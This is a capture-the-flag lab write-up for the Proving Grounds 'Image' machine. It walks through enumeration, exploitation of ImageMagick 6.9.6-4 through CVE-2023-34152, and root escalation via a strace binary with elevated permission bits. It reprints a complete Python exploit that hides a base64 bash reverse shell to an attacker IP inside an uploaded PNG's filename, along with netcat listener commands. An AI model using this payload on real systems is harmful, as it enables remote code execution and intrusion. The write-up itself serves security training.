Skip to content

Image is an "Intermediate" rated box on Offsec Proving Grounds. It is a Linux machine that is hosting a vulnerable version of ImageMagick Identifier that will lead to RCE. Once a foothold is established, a binary with the SUID bit set can be used to escalate privileges to root.

Enumeration

As always, we'll start with an nmap scan. I chose a basic scan for speed and efficiency.

sudo nmap $IP -oN nmap/first

Screenshot

Right off the bat we see two ports open, TCP port 22 and TCP port 80, SSH and HTTP respectively. SSH is always nice when we have legit creds for persistence, but at this point in time, we'll hold off on any password brute-forcing. HTTP is a low-hanging fruit so let's take a closer look at that.

sudo nmap -p 80 -sV --script=vuln $IP -oN nmap/vuln
Starting Nmap 7.91 ( https://nmap.org ) at 2024-09-28 17:43 EDT
...
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.248.178
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.248.178:80/
|     Form id: 
|_    Form action: 
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-fileupload-exploiter: 
|   
|_    Failed to upload and execute a payload.
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
...
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.87 seconds

Right off the bat, we find that the version of HTTP running is Apache 2.4.41, and the OS is most likely Ubuntu. We'll keep this in our notes for now.

Vulnerability Analysis

One of the easy enumeration checks I like to run on HTTP is using whatweb.

whatweb http://192.168.248.178

Screenshot

We have now double confirmed with both nmap and whatweb that this box is running Apache 2.4.41 and is a Ubuntu Linux system. Additionally, we grabbed the website title, "ImageMagick Identifier". We'll now browse to the website itself.

Screenshot

A quick google search reveals what this service is. ImageMagick® is a free, open-source software suite, used for editing and manipulating digital images. It can be used to create, edit, compose, or convert bitmap images, and supports a wide range of file formats, including JPEG, PNG, GIF, TIFF, and Ultra HDR. The most recent version is 7.1.1-38. Is it possible to check for this version of ImageMagick?

First, we'll give it an image. I chose a generic image of an Australian Shepherd dog. Screenshot

Screenshot

It was successfully uploaded, and luckily, it reported back the version, 6.9.6-4. So now we know this version is way out of date.

However, this is not just ImageMagick, but a particular flavor called ImageMagick Identifier. According to the documentation, "the magick identify program describes the format and characteristics of one or more image files. It also reports if an image is incomplete or corrupt. The information returned includes the image number, the file name, the width and height of the image, whether the image is colormapped or not, the number of colors in the image, the number of bytes in the image, the format of the image (JPEG, PNM, etc.), and finally the number of seconds it took to read and process the image. Many more attributes are available with the verbose option. See Command Line Processing for advice on how to structure your magick identify command."

Let's run a search on Github to see if anyone was able to write an exploit script to take advantage of this out of date service.

We were able to find one that appears to work, written by SudoIndividual. This script will take advantage of CVE-2023-34152. Let's take a look at the code.

import base64
import sys
import os
help_message = "Usage: {0} Attacker_IP Attacker_Port".format(sys.argv[0])
if len(sys.argv) != 3:
    print(help_message)
    exit()
LHOST = sys.argv[1]
LPORT = sys.argv[2]
image = b'iVBORw0KGgoAAAANSUhEUgAAAQAAAAABCAAAAAAUMi+rAAAADnRFWHRqdXN0IGZvciB0ZXN0IZvUs4kAAAEMSURBVHicAQEB/v4AAAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+AgYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/633f4E21T+hAAAAAElFTkSuQmCC'

def exploit(attacker_IP,attacker_port):
    reverse_shell = ('/bin/bash -c "/bin/bash -i >& /dev/tcp/{0}/{1} 0>&1"'.format(attacker_IP,attacker_port)).encode('ascii')
    payload = (base64.b64encode(reverse_shell)).decode("ascii")
    filename = '|smile"`echo {0}|base64 -d|bash`".png'.format(payload)
    with open(filename, "wb") as fh:
        fh.write(base64.decodebytes(image))
exploit(LHOST,LPORT)
print('Created by SudoIndividual (https://github.com/SudoIndividual)')
print('PNG file (payload) have been created in current directory. Upload the payload to the server')
nc_shell = input('Do you want to run netcat shell? [y/N]')
if nc_shell.lower() == 'y':
    os.system('nc -lvnp {0}'.format(LPORT))
else:
    exit()

This script will create a .PNG called "smile" and place it in the same directory as the script, then, we can optionally direct the script to run a netcat listener and wait for a callback via command injection thanks to the malicious .PNG being uploaded.

Foothold

We'll set up our nc listener on TCP port 4444.

nc -nvlp 4444

Then run the script:

python3 exploit.py 192.168.45.170 4444

Screenshot

The line in purple is our malicious .PNG file.

Upload to the server:

Screenshot

And wait for our callback:

Screenshot

Great!

Foothold Enumeration

local.txt was found in our current user www-data's home directory, /var/www/html.

Screenshot

Then, we'll transfer and use linpeas.sh to run and check for any privesc paths.

Screenshot

We set that the /usr/bin/strace binary has the SGID bit set. If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

Privilege Escalation

Let's give it a try:

Screenshot

Success!

Now we can find proof.txt.

Screenshot